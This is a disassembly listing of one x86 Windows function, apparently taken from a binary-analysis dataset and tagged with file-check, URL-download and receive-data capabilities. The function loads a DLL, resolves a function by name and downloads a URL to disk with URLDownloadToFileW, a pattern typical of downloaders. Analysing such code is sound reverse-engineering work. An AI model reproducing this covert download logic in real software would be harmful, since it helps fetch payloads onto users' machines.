Function at 0x43eae0
Capabilities:
Check if file exists
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x45aecf
push eax
mov eax, 0x403c
mov dword fs:[0], esp
call fcn.00457870
mov al, byte [ebp + 0xb]
push ebx
xor ebx, ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x24], al
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dx, word [0x468b0c]
mov ecx, 0x7ff
xor eax, eax
lea edi, [ebp - 0x4046]
mov word [ebp - 0x4048], dx
mov word [ebp - 0x2048], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x2046]
mov word [ebp - 0x1048], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1046]
push ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 1
stosw word es:[edi], ax
call dword [sym.imp.ole32.dll_CoInitialize]
mov cl, byte [ebp + 0xb]
push ebx
mov byte [ebp - 0x48], cl
lea ecx, [ebp - 0x48]
call fcn.00406d30
mov ebx, dword [sym.imp.MSVCRT.dll_wcslen]
push 0x463ccc
call ebx
add esp, 4
lea ecx, [ebp - 0x48]
push eax
push 0x463ccc
call fcn.0041bf40
mov dl, byte [ebp + 0xb]
lea edi, [esi + 0x60]
push 0
lea ecx, [ebp - 0x38]
mov esi, dword [edi]
mov byte [ebp - 4], 2
mov byte [ebp - 0x38], dl
call fcn.00406d30
push esi
call ebx
add esp, 4
lea ecx, [ebp - 0x38]
push eax
push esi
call fcn.0041bf40
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x48]
push eax
lea edx, [ebp - 0x38]
push ecx
push edx
mov byte [ebp - 4], 3
call fcn.004174a0
add esp, 0xc
mov byte [ebp - 4], 2
push 1
lea ecx, [ebp - 0x38]
call fcn.00406d30
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.00406d30
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x43ee2c
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
and ecx, 0xfffffff0
cmp ecx, 0x40
jne 0x43ee2c
mov eax, dword [eax + 4]
test eax, eax
jne 0x43ec2a
mov eax, 0x45c630
push 0x4672d8
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x43ee2c
mov edx, dword [ebp - 0x20]
mov esi, dword [edx + 0x34]
test esi, esi
jne 0x43ec55
mov esi, 0x45c630
test esi, esi
jne 0x43ec55
xor eax, eax
jmp 0x43ec5c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push eax
mov ecx, edi
call fcn.00408770
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x43ec74
mov eax, 0x45c630
lea ecx, [ebp - 0x1048]
push 0x800
push ecx
push eax
push 0
call fcn.004083e0
add esp, 0x10
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.004026a0
add esp, 8
test eax, eax
jne 0x43ecee
lea edx, [ebp - 0x1048]
test edx, edx
je 0x43ee2c
lea eax, [ebp - 0x1048]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x43ecee
lea ecx, [ebp - 0x1048]
push ecx
call fcn.00401e30
add esp, 4
test eax, eax
jne 0x43ecee
push 1
call fcn.004568c0
lea edx, [ebp - 0x1048]
push eax
push edx
call fcn.00456b50
add esp, 0xc
jmp 0x43ee2c
lea eax, [ebp - 0x1048]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x10], ebx
je 0x43ee2c
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x24]
test eax, eax
jne 0x43ed1c
mov eax, 0x45c630
mov dword [ebp - 0x14], eax
jmp 0x43ed1f
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x43ed27
xor esi, esi
jmp 0x43ed5c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 2]
mov eax, ebx
add eax, 3
and al, 0xfc
call fcn.00457870
mov edx, dword [ebp - 0x14]
mov esi, esp
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push edx
push 0
push 0
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, dword [ebp - 0x10]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x43ee25
lea ecx, [ebp - 0x4048]
push 0x1000
push ecx
call eax
add esp, 8
test eax, eax
je 0x43ee25
lea edx, [ebp - 0x2048]
push 0x800
push edx
push 0x4672b0
push 0
call fcn.004083e0
add esp, 0x10
lea eax, [ebp - 0x2048]
lea ecx, [ebp - 0x4048]
push 0
push 0
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x43ee25
lea edx, [ebp - 0x2048]
test edx, edx
jne 0x43edcb
xor esi, esi
jmp 0x43edda
lea eax, [ebp - 0x2048]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
mov eax, dword [edi]
cmp dword [eax - 0xc], 1
jg 0x43ede7
cmp esi, dword [eax - 4]
jle 0x43edfa
mov ecx, edi
call fcn.00405b60
push esi
mov ecx, edi
call fcn.00404720
test eax, eax
je 0x43ee25
mov eax, dword [edi]
lea ebx, [esi + esi]
lea ecx, [ebp - 0x2048]
push ebx
lea edx, [esi + esi + 2]
push ecx
push edx
push eax
call fcn.00401bc0
mov ecx, dword [edi]
add esp, 0x10
mov dword [ecx - 8], esi
mov edx, dword [edi]
mov word [ebx + edx], 0
mov ebx, dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [edi]
mov ebx, dword [ebp + 8]
mov ecx, dword [eax - 0xc]
test ecx, ecx
jl 0x43ee4c
mov dword [ebx], eax
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
jmp 0x43ee9a
mov eax, dword [0x4631a0]
mov dword [ebx], eax
mov edi, dword [edi]
test edi, edi
mov dword [ebp - 0x10], edi
jne 0x43ee60
xor esi, esi
jmp 0x43ee69
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
push esi
mov ecx, ebx
call fcn.00401cb0
test eax, eax
je 0x43ee9a
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebx]
lea edi, [esi + esi]
lea edx, [esi + esi + 2]
push edi
push ecx
push edx
push eax
call fcn.00401bc0
mov ecx, dword [ebx]
add esp, 0x10
mov dword [ecx - 8], esi
mov edx, dword [ebx]
mov word [edi + edx], 0
mov dword [ebp - 0x28], 1
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
cmp esi, edi
mov byte [ebp - 4], 0
je 0x43eec2
push 0
mov ecx, esi
call fcn.00443460
add esi, 0x10
cmp esi, edi
jne 0x43eeaf
mov esi, dword [ebp - 0x20]
push esi
call fcn.0044bf22
mov ecx, dword [ebp - 0xc]
add esp, 4
lea esp, [ebp - 0x4054]
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4